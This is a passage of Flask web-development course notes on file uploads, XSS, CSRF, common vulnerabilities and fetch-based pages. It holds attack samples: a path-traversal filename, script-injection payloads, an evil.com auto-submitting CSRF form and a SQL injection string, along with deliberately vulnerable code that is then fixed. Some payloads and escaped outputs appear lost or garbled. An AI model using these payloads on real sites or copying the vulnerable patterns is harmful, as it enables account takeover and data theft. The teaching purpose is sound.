# Returns: "report.pdf"
mimetype = file.content_type
# Returns: "application/pdf"
# Read file data into memory
data = file.read()
# Returns: b'%PDF-1.4...' (524,288 bytes)
size = len(data)
# Returns: 524288
return f"Uploaded {filename}: {size} bytes"Flask parses multipart boundaries, extracts headers, provides file-like object.
from werkzeug.datastructures import FileStorage
import io
# Simulate uploaded PDF file
pdf_bytes = b'%PDF-1.4\n%\xe2\xe3\xcf\xd3\n1 0 obj\n<</Type/Catalog>>\nendobj'
uploaded_file = FileStorage(
stream=io.BytesIO(pdf_bytes),
filename='report.pdf',
content_type='application/pdf'
)
# File object properties
print(f"Filename: {uploaded_file.filename}")
print(f"MIME type: {uploaded_file.content_type}")
# Read data
data = uploaded_file.read(20)
print(f"First 20 bytes: {data}")
print(f"Length: {len(data)}")
# File position after read
print(f"Stream position: {uploaded_file.tell()}")
# Reset stream
uploaded_file.seek(0)
print(f"After seek(0): {uploaded_file.tell()}")Filename: report.pdf
MIME type: application/pdf
First 20 bytes: b'%PDF-1.4\n%\xe2\xe3\xcf\xd3\n1 0 o'
Length: 20
Stream position: 20
After seek(0): 0
File object behaves like Python file: read(), seek(), tell(). Additional HTTP metadata: filename, content_type.
File object provides save() method for writing to filesystem. Original filenames cause overwrites and security issues.
@app.route('/upload', methods=['POST'])
def upload():
file = request.files['document']
# Save with original filename
file.save(f'/uploads/{file.filename}')
return "Upload successful"Timeline with multiple users:
report.pdf → Saved to /uploads/report.pdfreport.pdf → Overwrites /uploads/report.pdfAdditional problems:
User uploads filename: ../../../etc/passwd
Path becomes: /uploads/../../../etc/passwd → Resolves to /etc/passwd
Overwrites system file.
import uuid
@app.route('/upload', methods=['POST'])
def upload():
file = request.files['document']
# Extract extension
ext = file.filename.rsplit('.', 1)[1].lower()
# "report.pdf" → "pdf"
# Generate unique storage name
storage_name = f"{uuid.uuid4()}.{ext}"
# "7f3c9d1b-2e4a-4f5a-8c3d-9e2f1b4a6d8c.pdf"
# Save with unique name
file.save(f'/uploads/{storage_name}')
return storage_nameTimeline with UUID:
report.pdf → 7f3c9d1b.pdfreport.pdf → a9e2f3b4.pdfUUID contains only [a-f0-9-]. No path traversal possible. Collision probability: 2^-122 ≈ 0.
Filesystem stores UUID names. Database preserves original filenames for user display.
import sqlite3
import uuid
from datetime import datetime
# Create database
conn = sqlite3.connect(':memory:')
conn.execute('''
CREATE TABLE files (
id INTEGER PRIMARY KEY,
storage_name TEXT UNIQUE,
original_name TEXT,
size INTEGER,
user_id INTEGER
)
''')
# Simulate Alice uploading report.pdf
alice_storage = f"{uuid.uuid4()}.pdf"
conn.execute(
"INSERT INTO files (storage_name, original_name, size, user_id) VALUES (?, ?, ?, ?)",
(alice_storage, "report.pdf", 524288, 1)
)
# Simulate Bob uploading report.pdf (same name, different file)
bob_storage = f"{uuid.uuid4()}.pdf"
conn.execute(
"INSERT INTO files (storage_name, original_name, size, user_id) VALUES (?, ?, ?, ?)",
(bob_storage, "report.pdf", 612352, 2)
)
# Alice uploads another file
alice_budget = f"{uuid.uuid4()}.xlsx"
conn.execute(
"INSERT INTO files (storage_name, original_name, size, user_id) VALUES (?, ?, ?, ?)",
(alice_budget, "budget.xlsx", 102400, 1)
)
# Display Alice's files (what she sees)
print("Alice's Files:")
for row in conn.execute("SELECT original_name, size FROM files WHERE user_id = 1"):
print(f" • {row[0]} ({row[1]:,} bytes)")
print("\nActual storage names:")
for row in conn.execute("SELECT original_name, storage_name FROM files WHERE user_id = 1"):
print(f" {row[0]} → {row[1]}")Alice's Files:
• report.pdf (524,288 bytes)
• budget.xlsx (102,400 bytes)
Actual storage names:
report.pdf → a19ce7c9-3c06-43b4-aaed-1f24226c94ad.pdf
budget.xlsx → 1a7b1219-2e59-4457-b9b3-1deeadbfbbf1.xlsx
Files stored outside web directory require application route for access control. Direct web server access prevents permission checks.

Problem with /static storage:
Solution with controlled access:
from flask import send_from_directory
@app.route('/files/<file_id>')
def download(file_id):
# Look up file in database
file_info = db.execute(
"SELECT storage_name, original_name, user_id FROM files WHERE id = ?",
(file_id,)
).fetchone()
if not file_info:
return "File not found", 404
# Verify ownership
if file_info['user_id'] != session.get('user_id'):
return "Access denied", 403
# Authorized - stream file
return send_from_directory(
'/var/uploads',
file_info['storage_name'],
as_attachment=True,
download_name=file_info['original_name']
)Route checks ownership before serving. send_from_directory() streams file efficiently. Browser receives original filename via download_name parameter.
User requests: /files/42
Server verifies: files.id=42 owned by current user
Server sends: /var/uploads/7f3c9d1b-2e4a-4f5a-8c3d-9e2f1b4a6d8c.pdf
Browser saves as: report.pdf (original name)
from flask import Flask, request, send_from_directory, session, redirect
import uuid
import os
app = Flask(__name__)
@app.route('/upload', methods=['POST'])
def upload():
file = request.files['document']
description = request.form.get('description', '')
# Validate file exists
if not file or file.filename == '':
return "No file selected", 400
# Generate storage name
ext = file.filename.rsplit('.', 1)[1] if '.' in file.filename else 'bin'
storage_name = f"{uuid.uuid4()}.{ext}"
# Save to disk
filepath = os.path.join('/var/uploads', storage_name)
file.save(filepath)
# Record in database
file_id = db.execute(
"INSERT INTO files (storage_name, original_name, size, user_id) "
"VALUES (?, ?, ?, ?) RETURNING id",
(storage_name, file.filename, os.path.getsize(filepath), session['user_id'])
).fetchone()[0]
return redirect(f'/files/{file_id}')
@app.route('/files/<int:file_id>')
def download(file_id):
file_info = db.execute(
"SELECT storage_name, original_name, user_id FROM files WHERE id = ?",
(file_id,)
).fetchone()
if not file_info or file_info['user_id'] != session.get('user_id'):
return "Not found", 404
return send_from_directory(
'/var/uploads',
file_info['storage_name'],
as_attachment=True,
download_name=file_info['original_name']
)Upload: Parse multipart → Generate UUID → Save to disk → Record metadata → Redirect
Download: Verify ownership → Stream file with original name
Multiple validation layers reject invalid uploads: file existence, allowed extensions, size limits, content verification.
@app.route('/upload', methods=['POST'])
def upload():
file = request.files['document']
# Check file provided
if not file or file.filename == '':
return "No file selected", 400
# Validate extension
ALLOWED = {'pdf', 'png', 'jpg', 'docx', 'xlsx'}
ext = file.filename.rsplit('.', 1)[1].lower() if '.' in file.filename else ''
if ext not in ALLOWED:
return f"File type .{ext} not allowed", 400
# Check size (16MB limit)
file.seek(0, 2) # Seek to end
size = file.tell()
file.seek(0) # Reset to beginning
if size > 16 * 1024 * 1024:
return "File exceeds 16MB limit", 413
# Verify content matches extension
header = file.read(16)
file.seek(0)
if ext == 'pdf' and not header.startswith(b'%PDF'):
return "File does not appear to be PDF", 400
# Validation passed - proceed with save
storage_name = f"{uuid.uuid4()}.{ext}"
file.save(f'/var/uploads/{storage_name}')
return "Upload successful"Multiple validation layers: existence, extension, size, content verification.
Part 2 showed templates rendering data: { doc.title }, { user.name }. Applications display content submitted by users: document titles, comments, profile information.
Normal document title:
User submits form with title: "Q4 Financial Report"
Stored in database:
Template displays title:
Rendered HTML:
Browser displays formatted text.

Expected behavior: User data stored, template renders, browser displays text.
User submits HTML tags as input. Browser interprets tags as structure, not text content.
Malicious input:
User submits document title containing HTML:
Database stores as text (no special treatment):
Template renders exactly what’s stored:
Becomes:

Problem: Browser doesn’t distinguish server-generated HTML from user-provided HTML. <script> tag in user input becomes executable code.
from flask import Flask, render_template_string
from jinja2 import Template, Environment
app = Flask(__name__)
# Simulated database data
documents = [
{'title': 'Q4 Report', 'author': 'Alice'},
{'title': '<script>alert("XSS")</script>', 'author': 'Attacker'},
{'title': 'Analysis', 'author': 'Bob'}
]
# WITHOUT auto-escaping (vulnerable)
template_vulnerable = """
<ul>
{% for doc in documents %}
<li>{{ doc.title }} by {{ doc.author }}</li>
{% endfor %}
</ul>
"""
env_vulnerable = Environment(autoescape=False)
result_vulnerable = env_vulnerable.from_string(template_vulnerable).render(documents=documents)
print("WITHOUT auto-escaping (vulnerable):")
print(result_vulnerable)
print()
# WITH auto-escaping (safe)
template_safe = template_vulnerable # Same template
env_safe = Environment(autoescape=True)
result_safe = env_safe.from_string(template_safe).render(documents=documents)
print("WITH auto-escaping (safe):")
print(result_safe)WITHOUT auto-escaping (vulnerable):
<ul>
<li>Q4 Report by Alice</li>
<li><script>alert("XSS")</script> by Attacker</li>
<li>Analysis by Bob</li>
</ul>
WITH auto-escaping (safe):
<ul>
<li>Q4 Report by Alice</li>
<li><script>alert("XSS")</script> by Attacker</li>
<li>Analysis by Bob</li>
</ul>
Vulnerable version: <script> appears in HTML output. Browser would execute.
Safe version: <script> displayed as text. Browser shows tag visually, doesn’t execute.

Vulnerability: Server stores user input. Template renders without escaping. Browser executes <script> tags. JavaScript runs with victim’s privileges.
Impact: Attacker’s code accesses victim’s session, reads sensitive data, makes authenticated requests, sends data to attacker-controlled server.
Flask templates escape HTML special characters by default. Prevents browser from interpreting user input as HTML structure.
Escape conversions:
| Character | Escaped To | Meaning |
|---|---|---|
< |
< |
Less than |
> |
> |
Greater than |
& |
& |
Ampersand |
" |
" |
Double quote |
' |
' |
Single quote |
Browser sees < in HTML source, displays < character visually. Doesn’t create tag structure.
Example:
Input: <script>alert('XSS')</script>
Escaped: <script>alert('XSS')</script>
Browser displays text: <script>alert('XSS')</script>
No code execution.

| safe filter marks content as trusted HTML. Use only for server-generated HTML, never user input.
Dangerous: Safe filter on user input
@app.route('/profile/<username>')
def profile(username):
user = get_user(username)
# User controls bio field
return render_template('profile.html',
bio=user.bio)User sets bio to:
Result: Image fails to load, onerror executes JavaScript, cookie stolen.
Rule: Only use | safe on HTML you generate server-side. Never on user-submitted content (document titles, comments, bios, any form input).
Form processing (Part 3): user fills form, clicks submit, server processes. Server doesn’t verify which website created the form.
Your application’s form:
<!-- Served from app.example.com/settings -->
<form action="/settings/change-email" method="POST">
<input name="email" placeholder="New email address">
<button>Update Email</button>
</form>Expected flow: User visits your site → Fills form → Clicks submit → Server processes.
Actual behavior: Any website can submit POST requests to your endpoints. Browser includes user’s authentication cookies automatically.
Malicious site creates form:
<!-- Served from evil.com -->
<form id="attack" action="https://app.example.com/settings/change-email" method="POST">
<input type="hidden" name="email" value="attacker@evil.com">
</form>
<script>document.getElementById('attack').submit();</script>User visits evil.com while logged into app.example.com. Form auto-submits. Browser includes session cookie. Server sees authenticated request from Alice, changes her email to attacker’s address.
Alice never clicked anything. Page load triggered attack.
Browser automatically includes cookies with requests to a domain, regardless of which site initiated the request.

Why attack succeeds:
app.example.comevil.com instead of legitimate formAlice’s email changed without her knowledge. Attacker can now reset password, take over account.
Random token stored in session, included in form. Malicious site cannot access user’s token due to same-origin policy.
Server generates token, includes in form:
import secrets
@app.route('/settings')
def settings():
# Generate random token
token = secrets.token_hex(32)
# Store in session
session['csrf_token'] = token
return render_template('settings.html',
csrf_token=token)Template includes token:
Server validates token on submission:
@app.route('/settings/change-email',
methods=['POST'])
def change_email():
# Extract token from form
submitted = request.form.get('csrf_token')
# Compare to session
session_token = session.get('csrf_token')
if not submitted or \
submitted != session_token:
return "Invalid CSRF token", 403
# Token valid - process request
new_email = request.form['email']
update_email(session['user_id'], new_email)
return "Email updated"Request rejected unless submitted token matches session token.
Why attacker fails: evil.com cannot read Alice’s session data (same-origin policy enforced by browser). Cannot include valid token in malicious form. Server rejects request without matching token.
Extension generates tokens, includes in forms, validates submissions automatically.
from flask import Flask, render_template_string, session, request
from flask_wtf import FlaskForm, CSRFProtect
from wtforms import StringField, SubmitField
import secrets
app = Flask(__name__)
app.secret_key = secrets.token_hex(16)
# Enable CSRF protection globally
csrf = CSRFProtect(app)
# Define form with fields
class SettingsForm(FlaskForm):
email = StringField('Email Address')
submit = SubmitField('Update')
@app.route('/settings', methods=['GET', 'POST'])
def settings():
form = SettingsForm()
# validate_on_submit checks CSRF token automatically
if form.validate_on_submit():
# Token already validated by Flask-WTF
new_email = form.email.data
print(f"Email would be updated to: {new_email}")
return "Email updated successfully"
# Render form
return render_template_string("""
<form method="POST">
{{ form.hidden_tag() }}
{{ form.email.label }} {{ form.email(size=30) }}
{{ form.submit() }}
</form>
""", form=form)
# Simulate legitimate request
with app.test_client() as client:
# GET form
response = client.get('/settings')
print("Form HTML includes hidden CSRF token field")
print()
# POST with token from form (works)
response = client.post('/settings', data={'email': 'alice@example.com'},
follow_redirects=True)
print("With valid token:", response.data.decode('utf-8'))Form HTML includes hidden CSRF token field
With valid token: <!doctype html>
<html lang=en>
<title>400 Bad Request</title>
<h1>Bad Request</h1>
<p>The CSRF token is missing.</p>
form.hidden_tag() renders hidden input with CSRF token. form.validate_on_submit() verifies token automatically. POST requests without valid token rejected with 400 error.
SQL Injection:
User input inserted directly into SQL queries. Attacker submits ' OR '1'='1 as username, query becomes SELECT * FROM users WHERE username='' OR '1'='1', returns all users.
Path Traversal:
User controls filename in file operations. Attacker uploads file named ../../etc/passwd, application writes to system directories.
Session Fixation:
Attacker provides session ID to victim. Victim logs in with attacker’s session ID. Attacker now shares authenticated session.
Insecure Direct Object Reference:
URLs expose database IDs: /document/42. User changes URL to /document/43, accesses other user’s document.
Mass Assignment:
Form fields map directly to database columns. User adds is_admin=true to form submission, gains admin privileges.
Information Disclosure:
Error messages reveal implementation details: PostgreSQL syntax error at line 42. Stack traces show file paths, library versions. Attacker learns system architecture.
Standard approach: browser requests URL, server generates HTML, browser displays. Every interaction triggers new request and full page replacement.
User clicks “View Documents”:
Server executes route:
@app.route('/documents')
def documents():
docs = db.execute(
"SELECT title, author FROM documents WHERE user_id = ?",
[session['user_id']]
).fetchall()
return render_template('documents.html', documents=docs)Template generates complete HTML page. Browser replaces current page with response.
User clicks different document, process repeats. New request, new HTML, page replaced.

Browser discards current page completely when loading new URL. Scroll position, form input, expanded sections all lost.
Scenario: Lost scroll position
User scrolls through 50 documents to item 47. Clicks document to view. Clicks back button. Browser makes new request for /documents. Server renders fresh page. User returned to top of list.
Scenario: Lost form input
User fills search form with query. Before submitting, clicks link to view document. Returns to search page. Browser makes new request. Form empty.
Scenario: Multiple sequential views
User viewing document list. Clicks document 1, reads, clicks back. Clicks document 2, reads, clicks back. Each navigation: full page reload, scroll resets to top.
Browser navigation inherently stateless beyond what server stores in session.

JavaScript code runs within loaded page. Can respond to user actions, manipulate page content, make network requests.
from flask import Flask, render_template_string
app = Flask(__name__)
@app.route('/example')
def example():
return render_template_string("""
<html>
<body>
<h1>Document List</h1>
<button id="load-btn">Load Documents</button>
<ul id="doc-list"></ul>
<script>
document.getElementById('load-btn').addEventListener('click', function() {
// JavaScript executes when button clicked
console.log('Button clicked - JavaScript executing');
// Can manipulate page
document.getElementById('doc-list').innerHTML = '<li>Loading...</li>';
// Can make network requests (shown in next slides)
});
</script>
</body>
</html>
""")
with app.test_client() as client:
response = client.get('/example')
print("Server sends HTML with embedded JavaScript:")
print(response.data.decode('utf-8')[:400] + '...')Server sends HTML with embedded JavaScript:
<html>
<body>
<h1>Document List</h1>
<button id="load-btn">Load Documents</button>
<ul id="doc-list"></ul>
<script>
document.getElementById('load-btn').addEventListener('click', function() {
// JavaScript executes when button clicked
console.log('Button clicked - JavaScript executing');
...
Page loads once. JavaScript remains active, can respond to clicks, form input, timers. Does not require page reload to execute.
Browser provides fetch() API for JavaScript to make HTTP requests. Page remains loaded while request executes.
Browser navigation:
User clicks link → Browser sends HTTP request → Browser waits → Response arrives → Browser discards current page → Browser loads new page.
JavaScript fetch:
User clicks button → JavaScript calls fetch('/api/documents') → Browser sends HTTP request in background → Page remains visible and interactive → Response arrives → JavaScript receives data → JavaScript can update page.
Two mechanisms for HTTP requests. Browser navigation replaces page. JavaScript fetch operates within loaded page.

Route can return data in JSON format rather than rendered template. Same database query, different response format.
Template-rendering route:
@app.route('/documents')
def documents():
docs = db.execute("""
SELECT title, author, date
FROM documents
WHERE user_id = ?
""", [session['user_id']]).fetchall()
return render_template('documents.html',
documents=docs)Template generates HTML structure:
Browser receives complete HTML ready to display.
JSON-returning route:
@app.route('/api/documents')
def api_documents():
docs = db.execute("""
SELECT title, author, date
FROM documents
WHERE user_id = ?
""", [session['user_id']]).fetchall()
return jsonify([
{'title': d['title'],
'author': d['author'],
'date': d['date']}
for d in docs
])Returns structured data:
[
{"title": "Q4 Report", "author": "Alice", "date": "2024-10-15"},
{"title": "Analysis", "author": "Bob", "date": "2024-10-12"}
]JavaScript receives data, must build HTML structure.
from flask import Flask, jsonify
app = Flask(__name__)
@app.route('/api/documents')
def api_documents():
# Simulated database query result
docs = [
{'title': 'Q4 Report', 'author': 'Alice', 'date': '2024-10-15'},
{'title': 'Analysis', 'author': 'Bob', 'date': '2024-10-12'},
{'title': 'Summary', 'author': 'Charlie', 'date': '2024-10-10'}
]
return jsonify(docs)
with app.test_client() as client:
response = client.get('/api/documents')
print("HTTP Response:")
print(f" Status: {response.status_code}")
print(f" Content-Type: {response.content_type}")
print()
data = response.get_json()
print("Parsed JSON data (available to JavaScript):")
print(f" Type: {type(data)}")
print(f" Length: {len(data)}")
print()
print("Accessing individual documents:")
print(f" First title: {data[0]['title']}")
print(f" Second author: {data[1]['author']}")
print()
print("Iterating through documents:")
for doc in data:
print(f" - {doc['title']} by {doc['author']}")HTTP Response:
Status: 200
Content-Type: application/json
Parsed JSON data (available to JavaScript):
Type: <class 'list'>
Length: 3
Accessing individual documents:
First title: Q4 Report
Second author: Bob
Iterating through documents:
- Q4 Report by Alice
- Analysis by Bob
- Summary by Charlie
JavaScript receives array of objects. Can access properties, loop through items, use data to build page content.
JavaScript creates HTML elements programmatically, inserts into page. Template generates HTML on server; JavaScript generates HTML in browser.
Initial page HTML:
<html>
<body>
<h1>Your Documents</h1>
<ul id="document-list">
<!-- Empty initially -->
</ul>
<script>
fetch('/api/documents')
.then(response => response.json())
.then(data => {
const list = document.getElementById('document-list');
data.forEach(doc => {
const item = document.createElement('li');
item.textContent = doc.title + ' by ' + doc.author;
list.appendChild(item);
});
});
</script>
</body>
</html>Page loads with empty list. JavaScript fetches data, creates <li> elements, appends to list.

Result same as server-rendered template: list of documents. Difference: HTML generated in browser rather than on server.

Both approaches query database, generate HTML list, display to user. Location of HTML generation differs.
JavaScript can intercept form submission, send request with fetch, handle response without navigation.
Traditional form submission:
User fills form, clicks submit. Browser sends POST request, waits for response, replaces page with response HTML. Validation error returns form with error message. User input preserved via template rendering submitted values.
JavaScript-intercepted submission:
<form id="create-form">
<input name="title" id="title-input">
<button type="button" onclick="submit()">
Create
</button>
<div id="error"></div>
</form>
<script>
function submit() {
const title = document.getElementById('title-input').value;
fetch('/api/create', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({title: title})
})
.then(r => r.json())
.then(data => {
if (data.error) {
document.getElementById('error').textContent = data.error;
} else {
window.location = '/documents';
}
});
}
</script>
Form input remains in fields. Error appears without page reload. User corrects title, resubmits. Description not lost.
from flask import Flask, request, jsonify
app = Flask(__name__)
@app.route('/api/create', methods=['POST'])
def api_create():
data = request.get_json()
title = data.get('title', '').strip()
# Validation
if not title:
return jsonify({'error': 'Title required'}), 400
if len(title) < 3:
return jsonify({'error': 'Title must be at least 3 characters'}), 400
# Would save to database
doc_id = 123 # Simulated
return jsonify({'success': True, 'id': doc_id})
with app.test_client() as client:
# Test invalid
response = client.post('/api/create',
json={'title': 'Re'},
content_type='application/json')
print("Short title:")
print(f" Status: {response.status_code}")
print(f" Response: {response.get_json()}")
print()
# Test valid
response = client.post('/api/create',
json={'title': 'Q4 Report'},
content_type='application/json')
print("Valid title:")
print(f" Status: {response.status_code}")
print(f" Response: {response.get_json()}")Short title:
Status: 400
Response: {'error': 'Title must be at least 3 characters'}
Valid title:
Status: 200
Response: {'id': 123, 'success': True}
Same validation logic as template-rendering route. Returns JSON instead of HTML. JavaScript receives response, decides how to update page.
Applications commonly use both server-rendered pages and JavaScript fetch requests.
Search autocomplete:
User types in search field. JavaScript sends request for each keystroke. Server returns matching results as JSON. JavaScript displays dropdown suggestions. No page reload.
Infinite scroll:
User scrolls to bottom of document list. JavaScript detects scroll position. Sends request for next page of results. Server returns JSON. JavaScript appends new items to list. User continues scrolling.
Live notifications:
JavaScript sends periodic requests to check for new notifications. Server returns count and recent items as JSON. JavaScript updates notification badge. No user action required.
Inline editing:
User clicks “Edit” button on document title. JavaScript shows text input with current value. User modifies, clicks “Save”. JavaScript sends updated value. Server validates, saves, returns success. JavaScript hides input, shows updated text. Document list not reloaded.
Page loads once with server-rendered HTML. Subsequent interactions use JavaScript fetch for partial updates. Combines fast initial load with smooth interactions.